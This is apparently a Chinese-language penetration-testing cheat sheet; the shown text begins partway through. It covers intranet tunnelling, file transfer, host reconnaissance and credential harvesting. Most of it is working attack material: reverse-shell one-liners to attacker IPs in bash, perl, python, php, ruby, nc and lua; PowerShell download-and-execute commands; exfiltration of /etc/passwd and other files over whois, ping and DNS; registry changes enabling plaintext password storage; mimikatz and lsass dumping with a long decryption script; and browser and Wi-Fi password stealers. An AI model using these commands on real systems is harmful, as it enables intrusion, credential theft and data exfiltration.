    # plugin_passwd = abc
    use_encryption = true
    use_compression = true
```

远程安全的端口映射方案

```
# vps 配置
[common]
bind_addr = 0.0.0.0
bind_port = 7000
token = 202cb962ac59075b964b07152d234b70
tls_enable = true

# 目标主机配置
[common]
server_addr = 10.10.10.10
server_port = 7000
token = 202cb962ac59075b964b07152d234b70
```

```
tls_enable = true

[secret_rdp]
type = stcp
sk = 250cf8b51c773f3f8dc8b4be867a9a02
local_ip = 127.0.0.1
local_port = 3389

# 需要去连rdp的主机配置
[common]
server_addr = 10.10.10.10
server_port = 7000
token = 202cb962ac59075b964b07152d234b70
tls_enable = true

[secret_rdp_visitor]
type = stcp
role = visitor
server_name = secret_rdp
sk = 250cf8b51c773f3f8dc8b4be867a9a02
bind_addr = 127.0.0.1
bind_port = 6000
```

- pingtunnel -> 可以将 tcp udp socks5 流量伪装成 icmp 流量

```
# vps(114.114.114.1) 配置
# frp本地监听 10000 端口，远程socks5端口 10001
./frps -c frps.ini
# frp配置文件为
[common]
server_addr = 0.0.0.0
server_port = 10000
[plugin_socks5]
type = tcp
remote_port = 10001
plugin = socks5

# pingtunnel(114.114.114.2)服务端配置
sudo ./pingtunnel -type server -noprint 1 -nolog 1
```

```
# target 主机配置
```

```
# 开启 pingtunnel客户端（建议使用两台VPS，将pingtunnel和frp放在两台不同的服务器上）
pingtunnel.exe -type client -l 127.0.0.1:9999 -s 114.114.114.2 -t 114.114.114.2:10000 -tcp
1 -noprint 1 -nolog 1

# 开启frp客户端，端口指向pingtunnel监听的本地端口
frpc.exe -u 127.0.0.1 -p 9999 -s 10000
```

- spp

```
# vps(114.114.114.1) 配置
sudo ./spp -type server -proto ricmp -listen 0.0.0.0

# target 主机配置，如果不关闭日志和输出就会有大量的日志产生
spp.exe -name "test" -type reverse_socks5_client -server v/ps -fromaddr :9090 -
proxyproto tcp -proto ricmp -noprint 1 -nolog 1

spp.exe  -name "test" -type reverse_socks5_client -server 114.114.114.1 -fromaddr
:9090 -proxyproto tcp -proto ricmp -noprint 1 -nolog 1
```

- frpModify -> 修改之后支持域前置以及自删除
- proxychain

```
#终端全局代理
proxychain4 -q bash
proxychains4 -q /bin/zsh
```

- Neo-reGeorg : https://github.com/L-codes/Neo-reGeorg

```
python3 neoreg.py -k password -u http://xx/tunnel.php
```

- ABPTTS

```
# 生成服务端脚本，初始化
python abpttsfactory.py -o server
# 启动隧道并将target的1111端口映射到本地的7777端口
python abpttsclient.py -c server/config.txt -u "http://10.1.1.1:8080/abptts.aspx"-f
127.0.0.1:7777/127.0.0.1:1111
```

- pystinger -> 毒刺(pystinger)通过webshell实现内网SOCK4代理,端口映射.
- chisel--文章介绍《Red Team: Using SharpChisel to exfil internal network》
- SharpChisel--chisel的c#封装版本

- mssqlproxy--利用mssql执行clr作为传输通道(当目标机器只开放mssql时)
- ligolo -- 轻量级的反向Socks5代理工具,所有的流量使用TLS加密
- NC端口转发
- LCX端口转发
- nps -> 个人用觉得比较稳定 ～
- Tunna
- Reduh
- pystinger -> 毒刺(pystinger)通过webshell实现内网SOCK4代理,端口映射.
- EW

  正向 SOCKS v5 服务器:

  ```
  ./ew -s ssocksd -l 1080
  ```

  反弹 SOCKS v5 服务器:
  a) 先在一台具有公网 ip 的主机A上运行以下命令：

  ```
  $ ./ew -s rcsocks -l 1080 -e 8888
  ```

  b) 在目标主机B上启动 SOCKS v5 服务 并反弹到公网主机的 8888端口

  ```
  $ ./ew -s rssocks -d 1.1.1.1 -e 8888
  ```

  多级级联

  ```
  $ ./ew -s lcx_listen -l 1080 -e 8888
  $ ./ew -s lcx_tran -l 1080 -f 2.2.2.3 -g 9999
  $ ./ew -s lcx_slave -d 1.1.1.1 -e 8888 -f 2.2.2.3 -g 9999
  ```

  lcx_tran 的用法

  ```
  $ ./ew -s ssocksd -l 9999
  $ ./ew -s lcx_tran -l 1080 -f 127.0.0.1 -g 9999
  ```

  lcx_listen. lcx_slave 的用法

  ```
  $ ./ew -s lcx_listen -l 1080 -e 8888
  ```

```
$ ./ew -s ssocksd -l 9999
$ ./ew -s lcx_slave -d 127.0.0.1 -e 8888 -f 127.0.0.1 -g 9999
```

“三级级联”的本地SOCKS测试用例以供参考

```
$ ./ew -s rcsocks -l 1080 -e 8888
$ ./ew -s lcx_slave -d 127.0.0.1 -e 8888 -f 127.0.0.1 -g 9999
$ ./ew -s lcx_listen -l 9999 -e 7777
$ ./ew -s rssocks -d 127.0.0.1 -e 7777
```

- Termite 使用说明:https://rootkiter.com/Termite/README.txt

反弹shell

bash

```
bash -i >& /dev/tcp/10.0.0.1/8080 0>&1
```

perl

```
perl -e 'use
Socket;$i="10.0.0.1";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connec
t(S,sockaddr_in($p,inet_aton($i))))
{open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
```

python

```
python -c 'import
socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0
.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);
os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
```

php

```
php -r '$sock=fsockopen("10.0.0.1",1234);exec("/bin/sh -i <&3 >&3 2>&3");'
```

ruby

```
ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",1234).to_i;exec sprintf("/bin/sh -i <&%d >&%d
2>&%d",f,f,f)'
```

java

```
r = Runtime.getRuntime()
```

```
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/10.0.0.1/2002;cat <&5 | while read line; do
\$line 2>&5 >&5; done"] 创维A20 String[])
p.waitFor()
```

nc

```
#使用-e
nc -e /bin/sh 223.8.200.234 1234
```

```
#不使用-e
mknod /tmp/backpipe p
/bin/sh 0/tmp/backpipe | nc attackerip listenport 1>/tmp/backpipe
```

lua

```
lua -e
"require('socket');require('os');t=socket.tcp();t:connect('202.103.243.122','1234');os.exe
cute('/bin/sh -i <&3 >&3 2>&3');"
```

stcp协议反弹shell

```
# https://github.com/srat1999/sctp-shell
# server
sudo ./scp-shell -s -lp 443 -a 192.168.0.189
# client
./scp-shell -a 192.168.0.189 -lp 56738 -rp 443
```

利用powershell反弹全交互式shell

```
# server
stty raw -echo; (stty size; cat) | nc -lvnp 3001
# client
IEX(IWR https://raw.githubusercontent.com/antonioCoco/ConPtyShell/master/Invoke-
ConPtyShell.ps1 -UseBasicParsing); Invoke-ConPtyShell 10.0.0.2 3001
```

socat

```
# server
socat file:`tty`,raw,echo=0 tcp-listen:9966
# client
./.s exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:1.1.1.1:9966
```

icmpsh

```
# server
# 安装依赖
apt-get install python-impacket
# 关闭本地ICMP应答
sysctl -w net.ipv4.icmp_echo_ignore_all=1
# python icmpsh_m.py vps-ip attack-ip
python icmpsh_m.py 192.168.3.76 192.168.3.88

# client
icmpsh.exe -t 192.168.3.76
```

内网文件的传输和下载

wput

```
wput dir_name ftp://linuxpig:123456@host.com/
```

wget

```
wget http://site.com/1.rar -O 1.rar
```

ariac2（需安装）

```
aria2c -o owncloud.zip https://download.owncloud.org/community/owncloud-9.0.0.tar.bz2
```

powershell

```
$p = New-Object System.Net.WebClient
$p.DownloadFile("http://domain/file","C:%homepath%file")
```

回传文件

```
php起服务： php -S 0.0.0.0:8888
<?php
$file = date("Hism");
file_put_contents($file, file_get_contents("php://input"));

powershell回传：powershell iwr ip:8888/upload.php -method POST -infile C:\xx\xx\xx.zip
```

下载文件

```
powershell $client = new-object
```

```
System.Net.WebClient;$client.DownloadFile('http://95.163.202.147:8000/vendor.jsp',
'a.jsp')
```

下载并执行

```
powershell IEX (New-Object
System.Net.Webclient).DownloadString('http://95.163.202.147:8000/ooo.ps1')
('https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1');
```

vbs脚本

```
Set args = Wscript.Arguments
Url = "http://domain/file"
dim xHttp: Set xHttp = createobject("Microsoft.XMLHTTP")
dim bStrm: Set bStrm = createobject("Adodb.Stream")
xHttp.Open "GET", Url, False
xHttp.Send
with bStrm
.type = 1 '
.open
.write xHttp.responseBody
.savetofile " C:\%homepath%\file", 2 '
end with
```

> 执行： cscript test.vbs

Perl

```
#!/usr/bin/perl
use LWP::Simple;
getstore("http://domain/file", "file");
```

> 执行：perl test.pl

Python

```
#!/usr/bin/python
import urllib2
u = urllib2.urlopen('http://domain/file')
localFile = open('local_file', 'w')
localFile.write(u.read())
localFile.close()
```

> 执行：python test.py

Ruby

Ruby

```
#!/usr/bin/ruby
require 'net/http'
Net::HTTP.start("www.domain.com") { |http|
r = http.get("/file")
open("save_location", "wb") { |file|
file.write(r.body)
}
}
```

> 执行：ruby test.rb

PHP

```
<?php
$url  = 'http://www.example.com/file';
$path = '/path/to/file';
$ch = curl_init($url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$data = curl_exec($ch);
curl_close($ch);
file_put_contents($path, $data);
?>
```

> 执行：php test.php

NC
attacker

```
cat file | nc -l 1234
```

target

```
nc host_ip 1234 > file
```

FTP

```
ftp 127.0.0.1 username password get file exit
```

TFTP

```
tftp -i host GET C:%homepath%file location_of_file_on_tftp_server
```

Bitsadmin

```
# 可以指定保存的路径
bitsadmin /transfer n http://domain/file c:%homepath%filename
```

Window 文件共享

```
net use x: \127.0.0.1\share /user:example.comuserID myPassword
```

SCP
本地到远程

```
scp file user@host.com:/tmp
```

远程到本地

```
scp user@host.com:/tmp file
```

rsync
远程rsync服务器中拷贝文件到本地机

```
rsync -av root@192.168.78.192::www /databack
```

本地机器拷贝文件到远程rsync服务器

```
rsync -av /databack root@192.168.78.192::www
```

certutil.exe

```
# 只能保存在当前路径
certutil.exe -urlcache -split -f http://site.com/filename filename
```

copy

```
copy \\IP\ShareName\file.exe file.exe
```

WHOIS
接收端 Host B：

```
nc -vlnp 1337 | sed "s/ //g" | base64 -d
```

发送端 Host A：

```
whois -h host_ip -p 1337 `cat /etc/passwd | base64`
```

WHOIS + TAR
First:

```
ncat -k -l -p 4444 | tee files.b64  #tee to a file so you can make sure you have it
```

Next

```
tar czf - /tmp/* | base64 | xargs -I bits timeout 0.03 whois -h host_ip -p 4444 bits
```

Finally

```
cat files.b64 | tr -d '\r\n' | base64 -d | tar zxv #to get the files out
```

PING
发送端:

```
xxd -p -c 4 secret.txt | while read line; do ping -c 1 -p $line ip; done
```

接收端`ping_receiver.py`：

```
import sys

try:
    from scapy.all import *
except:
    print("Scapy not found, please install scapy: pip install scapy")
    sys.exit(0)


def process_packet(pkt):
    if pkt.haslayer(ICMP):
        if pkt[ICMP].type == 8:
            data = pkt[ICMP].load[-4:]
            print(f'{data.decode("utf-8")}', flush=True, end="", sep="")

sniff(iface="eth0", prn=process_packet)
```

```
python3 ping_receiver.py
```

DIG
发送端:

```
xxd -p -c 31 /etc/passwd | while read line; do dig @172.16.1.100 +short +tries=1 +time=1
$line.goooogle.com; done
```

接收端`dns_reciver.py`:

```
try:
    from scapy.all import *
except:
    print("Scapy not found, please install scapy: pip install scapy")

def process_packet(pkt):
    if pkt.haslayer(DNS):
        domain = pkt[DNS][DNSQR].qname.decode('utf-8')
        root_domain = domain.split('.')[1]
        if root_domain.startswith('goooogle'):
            print(f'{bytearray.fromhex(domain[:-13]).decode("utf-8")}', flush=True,
end='')

sniff(iface="eth0", prn=process_packet)
```

```
python3 dns_reciver.py
```

Upload-Go-Fileserver

```
go run fileserver.go -port 4040 -pass password -user username
```

...

搭建 HTTP server

python2

```
python -m SimpleHTTPServer 1337
```

python3

```
python -m http.server 1337
```

PHP 5.4+

```
php -S 0.0.0.0:1337
```

ruby

```
ruby -rwebrick -e'WEBrick::HTTPServer.new(:Port => 1337, :DocumentRoot => Dir.pwd).start'
```

```
ruby -run -e httpd . -p 1337
```

Perl

```
perl -MHTTP::Server::Brick -e '$s=HTTP::Server::Brick->new(port=>1337); $s->mount("/"=>
{path=>"."}); $s->start'
```

```
perl -MIO::All -e 'io(":8080")->fork->accept->(sub { $_[0] < io(-x $1 +? "./$1 |" : $1) if
/^GET \/(.*) / })'
```

busybox httpd

```
busybox httpd -f -p 8000
```

pwndrop -- 一款十分好用的投放漏洞载荷的工具

```
# https://github.com/kgretzky/pwndrop
```

Swego -- golang实现的文件上传下载服务器

```
# https://github.com/nodauf/Swego
./webserver
```

SimpleHTTPserver -- golang实现

```
# https://github.com/projectdiscovery/simplehttpserver
simplehttpserver
```

java 文件下载管理（可以看出文件是否下载完成了）

```
# https://github.com/TheKingOfDuck/FileDownloadServer
java -jar FileDownloadServer.jar --server.port=80 --path ./
```

内网信息搜集

主机信息搜集

1. 重点关注信息

- 用户列表 (windows用户列表, 分析邮件用户, 内网[域]邮件用户, 通常就是内网[域]用户)
- 进程列表 (析杀毒软件/安全监控工具等 , 邮件客户端 , VPN ,ftp等)
- 服务列表 (与安全防范工具有关服务[判断是否可以手动开关等], 存在问题的服务[权限/漏洞])
- 端口列表 (开放端口对应的常见服务/应用程序[匿名/权限/漏洞等], 利用端口进行信息收集)
- 补丁列表 (分析 Windows 补丁, 第三方软件[Java/Oracle/Flash 等]漏洞)
- 本机共享 (本机共享列表/访问权限, 本机访问的域共享/访问权限)
- 用户习惯分析（历史记录, 收藏夹, 文档等)

2. 常用信息收集命令

2.1 Windows

系统信息

```
#查看系统信息
systeminfo /all
#查看系统架构
echo %PROCESSOR_ARCHITECTURE%
#机器名
hostname
#查看操作系统版本
systeminfo | findstr /B /C:"OS Name" /C:"OS Version"
systeminfo | findstr /B /C:"OS 名称" /C:"OS 版本"          #中文操作系统

# 查看是否配置了IE代理
reg query "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings"
# 查看IE浏览记录
reg query "HKCU\Software\Microsoft\Internet Explorer\TypedUrls"

# 关注如下字段即可
    ProxyEnable    REG_DWORD    0x0
    MigrateProxy    REG_DWORD    0x1
    ProxyServer    REG_SZ    127.0.0.1:8090

# 查看hosts文件
type c:\Windows\system32\drivers\etc\hosts
```

ipconfig:

```
ipconfig /all # 查询本机 IP 段，所在域等
```

net:

```
net user # 本机用户列表
net localgroup administrators # 本机管理员[通常含有域用户]
net user /domain # 查询域用户
net view # 查看当前域中在线主机
net view /domain # 查看本机加入的域列表
net view & net group "domain computers" /domain 查看当前域计算机列表 第二个查的更多
net view /domain:<domain_name>  # 查看domain_name域中的计算机
net view \\dc  # 查看dc域内共享文件
net config workstation  # 当前登录域计算机名 用户名
net use \\域控(如pc.xx.com) password /user:xxx.com\username 相当于这个帐号登录域内主机，可访问资源

#---------以下命令只能以域成员身份执行---------#
net group /domain # 查询域里面的工作组
net group "domain admins" /domain # 查询域管理员用户组
net group "domain controllers" # 查看域控制器(如果有多台)
net group "Domain Users"  /domain       #查看域内所有用户
net group "Domain Computers" /domain    #查看域内所有主机
net localgroup administrators /domain # 登录本机的域管理员
net localgroup administrators workgroup\user001 /add # 域用户添加到本机

net time /domain                        #查看域的当前时间
                                        #一般由主域控担任时间同步服务器，可以用来初步判断主域控

#查看主机开机时间
net statistics workstation

# 查看域密码策略
net accounts /domain
```

域信息

```
# 获取域信任信息
nltest /domain_trusts

# 查看域控制器主机名
netdom query pdc
```

dsquery (只能在DC上执行)

```
dsquery computer domainroot -limit 65535 && net group "domain

computers" /domain # 列出该域内所有机器名
dsquery user domainroot -limit 65535 && net user /domain # 列出该域内所有用户名
```

```
dsquery subnet # 列出该域内网段划分
dsquery group && net group /domain # 列出该域内分组
dsquery ou # 列出该域内组织单位
dsquery site                              # 查看目录中的站点
dsquery computer # 查找目录中的计算机。
dsquery contact # 查找目录中的联系人。
dsquery server # 查找目录中的 AD DC / LDS 实例。 dsquery user-查找目录中的用户。
dsquery quota # 查找目录中的配额规定。
dsquery partition # 查找目录中的分区。
dsquery * # 用通用的 LDAP 查询来查找目录中的任何对象。
dsquery server && net time /domain # 列出该域内域控制器
dsquery server –forest –hasfsmo schema # 查看目录中的架构主控
dsquery *                                 # 查看目录中的所有对象
```

> PS:
> ① 有/domain的命令是请求DC处理执行的，所以必须是域内主机才能执行此类命令，返回的是DC的查询结果，针对域，与在DC上查询是一样的；
> ② 没有/domain的命令是在本机执行的，返回的是本机的查询结果，针对本机，与DC上查询的结果是不同的。

csvde: (只能在DC上执行)

```
csvde -f users.csv                        #以CSV格式导出所有用户信息
```

netdom: (只能在DC上执行)

```
netdom query fsmo                         #查看FSMO角色，可用来查看架构主控
```

query

```
query user || qwinsta ------>查看当前在线用户
quser ------>查看当前在线用户
```

tasklist

```
tasklist /svc
tasklist /S ip /U domain\username /P /V # 查看远程计算机tasklist

taskkill /f /im agent.exe # 以进程名的方式kill
taskkill /f /pid 12345 # 以进程pid的方式kill
```

nbtstat

```
# 查看IP对应的主机名
nbtstat -a IP
```

SQLServer 信息收集

```
# 查看连接数据库的信息
SP_WHO
```

powershell

```
# PowerShell命令历史记录
%userprofile%\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.
txt
```

利用 Everything 来快速收集主机上的文件信息

```
# 首先获取 db 文件
everything.exe -reindex -rescan-all -db 1.db -update -exit
# 之后将 db 文件转换为 csv，这样就可以很快搜集到目标上所有的文件信息
db2efu 1.db 1.csv
```

2.1 Linux

```
# mlocate.db是linux下的一个数据库文件，用于存放locate命令的索引，也就是相当于存放了所有文件的路径
/var/lib/mlocate/mlocate.db
```

3. 凭证信息获取

Windows

开启内存明文存储密码

8位以上的NTLM用普通设备破解起来就比较困难了，所以最好能够抓取明文密码。server 2012/windows 8之后版本的系统默认不会在内存中保存明文密码，所以首先需要确认注册表已经开启内存明文存储密码的注册表项：
方法1:注册表启用Wdigest Auth

```
# 查询相应注册表项
reg query "HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest" /v
UseLogonCredential

# 修改注册表项，开启内存明文存储密码
reg add "HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest" /v
UseLogonCredential /t REG_DWORD /d 1 /f
```

方法2: powershell

```
Set-ItemProperty -Path HKLM:\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest -
Name UseLogonCredential -Type DWORD -Value 1
```

重启或者用户再次登录，能够导出明文口令

mimikatz

用管理员权限运行Mimikatz，以下命令可以抓取明文密码：

```
# 获取用户账号明文密码
privilege::debug
log passdump.log
sekurlsa::logonpasswords full
```

以下命令只能抓取账号哈希：

```
# 从lsass.exe进程获取账号哈希
lsadump::lsa /inject

# 从NTDS.DIT数据库获取账号哈希
lsadump::dcsync /domain:test.domain.com /all /csv

# 从注册表获取账号哈希
lsadump::sam c:\sam.hive
```

PS：非交互式环境运行Mimikatz时，多个命令分别用""标识，Like

```
mimikatz.exe "privilege::debug" "log passdump.log" "sekurlsa::logonpasswords full" exit
```

抓浏览器密码

```
mimikatz dpapi::chrome /in:"%localappdata%\Google\Chrome\User Data\Default\Login Data"
/unprotect
```

mimikatz解密Credential（需要管理员权限）

```
mimikatz "privilege::debug" "vault::cred /patch" exit
```

lsass进程转储

lsass进程负责Windows本地安全和登录策略，所有通过本地、远程身份成功登陆的用户信息都会保存在lsass.exe进程

的内存中，其转储文件可用来抓取明文密码和哈希值，如下所示：

(1) 转储lsass进程文件信息

方法一：任务管理器转储

taskmgr命令打开任务管理器，在任务管理器中找到lsass.exe进程，选择右键->创建转储文件，转储文件保存在弹窗提示的路径下。

方法二：Procdump转储

Procdump是Sysinternals Suite中的工具，一些情况下可以免杀，命令如下：

```
# Procdump命令转储lsass进程信息
procdump.exe -accepteula -ma lsass.exe lsass.dmp
```

(2) Mimikatz读取转储文件

```
# Mimikatz读取转储文件
# 通过sekurlsa::logonpasswords可以获取明文密码
privilege::debug
sekurlsa::minidump lsass.dmp
log passdump.log
sekurlsa::logonpasswords full
```

注册表转储

方法一：cmd命令

```
# 从注册表转储用户账号哈希值
reg save HKLM\SAM sam.hive
```

方法二：Mimikatz

```
privilege::debug
lsadump::sam c:\sam.hive
```

可以通过cain查看生成的hive数据库文件，获取明文密码或HASH值。

wce

```
# 抓明文
```

```
wce.exe -w # 抓明文
wce.exe -l # 抓Hash
```

Invoke-WCMDump

普通用户权限即可，能够导出普通票据的明文口令。该脚本还能导出Domain Credentials的信息(不包括明文口令)

```
PS>Import-Module .\Invoke-WCMDump.ps1
PS>Invoke-WCMDump
    Username         : testusername
    Password         : P@ssw0rd!
    Target           : TestApplication
    Description      :
    LastWriteTime    : 12/9/2017 4:46:50 PM
    LastWriteTimeUtc : 12/9/2017 9:46:50 PM
    Type             : Generic
    PersistenceType  : Enterprise
```

mimiDbg

```
DbgShell.exe $process = Get-Process lsass;$ok=0;$windowsErrorReporting =
[PSObject].Assembly.GetType('System.Management.Automation.WindowsErrorReporting');$windows
ErrorReportingNativeMethods = $windowsErrorReporting.GetNestedType('NativeMethods',
'NonPublic');$flags = [Reflection.BindingFlags] 'NonPublic, Static';$miniDumpWriteDump =
$windowsErrorReportingNativeMethods.GetMethod('MiniDumpWriteDump',
$flags);$miniDumpWithFullMemory = [UInt32] 2;$processId = $process.Id;$processName =
$process.Name;$processHandle = $process.Handle;$processDumpPath =
'C:\Users\Public\Downloads\juice';$fileStream = New-Object IO.FileStream($processDumpPath,
[IO.FileMode]::Create);try{$result = $miniDumpWriteDump.Invoke($null,
@($processHandle,$processId,$fileStream.SafeFileHandle,$miniDumpWithFullMemory,
[IntPtr]::Zero,[IntPtr]::Zero,[IntPtr]::Zero));if(!$result)
{$fileStream.Close();}$fileStream.Close();$ok=1;}catch{$_.Exception();$fileStream.Close();
}Mount-DbgDumpFile -DumpFile $processDumpPath;$faObj = dd lsasrv!h3DesKey;$sa = '{0:x8}' -
f $faObj.Item(1) + '{0:x8}' -f $faObj.Item(0);$saObj = dd $sa;$ta = '{0:x8}' -f
$saObj.Item(5) + '{0:x8}' -f $saObj.Item(4);$h3Des = db $ta;$k = '0x{0:x}' -f
$h3Des.Item(60) + ', 0x{0:x}' -f $h3Des.Item(61) + ', 0x{0:x}' -f $h3Des.Item(62) + ',
0x{0:x}' -f $h3Des.Item(63) + ', 0x{0:x}' -f $h3Des.Item(64) + ', 0x{0:x}' -f
$h3Des.Item(65) + ', 0x{0:x}' -f $h3Des.Item(66) + ', 0x{0:x}' -f $h3Des.Item(67) + ',
0x{0:x}' -f $h3Des.Item(68) + ', 0x{0:x}' -f $h3Des.Item(69) + ', 0x{0:x}' -f
$h3Des.Item(70) + ', 0x{0:x}' -f $h3Des.Item(71) + ', 0x{0:x}' -f $h3Des.Item(72) + ',
0x{0:x}' -f $h3Des.Item(73) + ', 0x{0:x}' -f $h3Des.Item(74) + ', 0x{0:x}' -f
$h3Des.Item(75) + ', 0x{0:x}' -f $h3Des.Item(76) + ', 0x{0:x}' -f $h3Des.Item(77) + ',
0x{0:x}' -f $h3Des.Item(78) + ', 0x{0:x}' -f $h3Des.Item(79) + ', 0x{0:x}' -f

$h3Des.Item(80) + ', 0x{0:x}' -f $h3Des.Item(81) + ', 0x{0:x}' -f $h3Des.Item(82) + ',
0x{0:x}' -f $h3Des.Item(83);$iv = db lsasrv!InitializationVector;$iv = '0x{0:x}' -f
$iv.Item(0) + ', 0x{0:x}' -f $iv.Item(1) + ', 0x{0:x}' -f $iv.Item(2) + ', 0x{0:x}' -f
```

```
$iv.Item(3) + ', 0x{0:x}' -f $iv.Item(4) + ', 0x{0:x}' -f $iv.Item(5) + ', 0x{0:x}' -f
$iv.Item(6) + ', 0x{0:x}' -f $iv.Item(7);$lsObj = dd wdigest!l_LogSessList;$lsf = '{0:x8}'
-f $lsObj.Item(1) + '{0:x8}' -f $lsObj.Item(0);$nextEntry = '';$i = 0;$lsfEntry =
$lsf;while ($lsfEntry -ne $nextEntry) {if($i -eq 0) {$lsfObj = dd $lsf;$sizeObj = db
$lsf;$nextEntry = '{0:x8}' -f $lsfObj.Item(1) + '{0:x8}' -f $lsfObj.Item(0);$i = 1;}else
{$lsfObj = dd $nextEntry;$sizeObj = db $lsf;$nextEntry = '{0:x8}' -f $lsfObj.Item(1) +
'{0:x8}' -f $lsfObj.Item(0);}$t = '{0:x8}' -f $lsfObj.Item(15) + '{0:x8}' -f
$lsfObj.Item(14);du $t;$sizeObj = db $lsf;$L = '{0:x}' -f $sizeObj.Item(82);$juice =
'{0:x8}' -f $lsfObj.Item(23) + '{0:x8}' -f $lsfObj.Item(22);$juiceObj = db $juice L$L;$tot
= [System.Convert]::ToInt32($L,16);$phex = '';for($i=0;$i -lt $tot;$i++) {if($i -ne 0)
{$phex += ', 0x{0:x2}' -f $juiceObj.Item($i);}else {$phex = '0x{0:x2}' -f
$juiceObj.Item($i);}}$password =
$phex;$key=$k;$initializationVector=$iv;try{$arrayPassword = $password -split ',
';$passwordByte = @();foreach($ap in $arrayPassword){$passwordByte +=
[System.Convert]::ToByte($ap,16);}$arrayKey = $key -split ', ';$keyByte = @();foreach($ak
in $arrayKey){$keyByte += [System.Convert]::ToByte($ak,16);}$arrayInitializationVector =
$initializationVector -split ', ';$initializationVectorByte = @();foreach($aiv in
$arrayInitializationVector){$initializationVectorByte +=
[System.Convert]::ToByte($aiv,16);}$TripleDES = New-Object
System.Security.Cryptography.TripleDESCryptoServiceProvider;$TripleDES.IV =
$initializationVectorByte;$TripleDES.Key = $keyByte;$TripleDES.Mode =
[System.Security.Cryptography.CipherMode]::CBC;$TripleDES.Padding =
[System.Security.Cryptography.PaddingMode]::Zeros;$decryptorObject =
$TripleDES.CreateDecryptor();[byte[]] $outBlock =
$decryptorObject.TransformFinalBlock($passwordByte, 0 ,
$passwordByte.Length);$TripleDES.Clear();Write-Output
([System.Text.UnicodeEncoding]::Unicode.GetString($outBlock));}catch {Write-Output
'$error[0]';}}
```

LaZagne

LaZagne是一款支持出了本机和浏览器凭据之外还支持众多软件凭据(Like: FileZilla, OpenVPN, WinSCP)导出的软件

```
laZagne.exe all # 导出所有凭据
laZagne.exe browsers # 导出保存在浏览器中的凭据
```

nirsoft_package

查看和提取 cookie、缓存以及 Web 浏览器存储的其他信息

星号查看器

HackBrowserData

```
# 提取所有浏览器的数据（密码 | 历史记录 | Cookie | 书签 | 信用卡 | 下载记录）并压缩
.\hack-browser-data.exe -b all -f json --dir results --cc
```

BrowserGhost

主要针对chrome和IE，特点是可以system抓机器上其他用户的浏览器密码，并且.NET 2实现，可以兼容绝大多数平台

```
BrowserGhost.exe
```

SharpChromium

.NET 4.0+ 实现，针对 Google Chrome, Microsoft Edge, and Microsoft Edge Beta 来提取Cookies, History和登录凭证

```
.\SharpChromium.exe all # 提取所有信息
.\SharpChromium.exe logins # 提取所有凭证
```

chromepass

获取并解密 Google Chrome, Chromium, Edge, Brave, Opera and Vivaldi 保存的cookie和密码

```
# 1. 执行下面命令生成client和server
python create.py --ip 92.34.11.220 --error --message 'An Error has happened'
# 2. 将client传到目标机上面执行
# 3. 本地运行server即可
# PS: 可以执行参数生成适合Linux的server从而可以在Linux环境中接受信息
```

FireFox-Thief

从基于gecko实现的浏览器中提取passwords, cookies, history, bookmarks信息

```
Stealer.exe PASSWORDS
Stealer.exe HISTORY
Stealer.exe BOOKMARKS
Stealer.exe COOKIES
```

Adamantium-Thief

从基于chromium实现的浏览器中提取 passwords, credit cards, history, cookies, bookmarks, autofill

```
Stealer.exe PASSWORDS
Stealer.exe CREDIT_CARDS
Stealer.exe BOOKMARKS
Stealer.exe HISTORY
Stealer.exe COOKIES
```

GetPwd

获取 Navicat、TeamView、Xshell、SecureCRT产品的密码

goLazagne

Browsers[Chromium-based;Mozilla Firefox;Internet Explorer and Edge]/Mail[Thunderbird ; [TBD] Outlook]/Windows[Credential Manager]/SysAdmin tools[Mobaxterm;Putty;Filezilla;Openssh]/WiFi passwords

SessionGopher

获取 WinSCP，PuTTY等保存的会话信息

```
Import-Module .\SessionGopher.ps1
Invoke-SessionGopher -Thorough
```

chrome 相关文件的存储位置

```
1.谷歌浏览记录文件位置：
C:\Users\Administrator\AppData\Local\Google\Chrome\User Data\Default\History
抓下来后用sqlite sutdio打开，网址在urls数据表中，可导出csv

2.谷歌浏览书签文件位置：
C:\Users\Administrator\AppData\Local\Google\Chrome\User Data\Default\Bookmarks
抓下来后用sqlite studio打开，可导出csv

3.谷歌密码文件
C:\Users\Administrator\AppData\Local\Google\Chrome\User Data\Default\Login Data
但谷歌密码文件只能在目标机器上解析
```

firefox 相关文件的存储位置

```
dir %APPDATA%\Mozilla\Firefox\Profiles\*logins.json /s /b
```

WIFI密码获取

```
for /f "skip=9 tokens=1,2 delims=:" %i in ('netsh wlan show profiles') do @echo %i |
```

```
for /f "skip=9 tokens=1,2 delims=:" %i in ('netsh wlan show profiles') do @echo %j |
findstr -i -v echo | netsh wlan show profiles %j key=clear
```

可通过内存dump还原出putty&pageant的密钥

windows和Linux均适用

一键搜集文件中存在pass关键词的bat脚本

```
dir %APPDATA%\Microsoft\Windows\Recent //查看最近打开的文档
findstr /si password  config.*  *.ini *.txt *.properties //递归搜索后面文件的password字段
dir /a /s /b "*conf*" > 1.txt    //递归查找当前目录包含conf的文件
findstr /s /i /c:"Password" 目录\*.txt  //递归查找目录下的txt中的oassword字段
for /r 目录 %i in (account.docx,pwd.docx,login.docx,login*.xls) do @echo  %i >>
C:\Users\e0mlja\desktop\123.txt     //递归查找目录下的敏感文件输出到桌面123.txt中
指定目录搜索各类敏感文件
dir /a /s /b d:\"*.txt"
dir /a /s /b d:\"*.xml"
dir /a /s /b d:\"*.mdb"
dir /a /s /b d:\"*.sql"
dir /a /s /b d:\"*.mdf"
dir /a /s /b d:\"*.eml"
dir /a /s /b d:\"*.pst"
dir /a /s /b d:\"*conf*"
dir /a /s /b d:\"*bak*"
dir /a /s /b d:\"*pwd*"
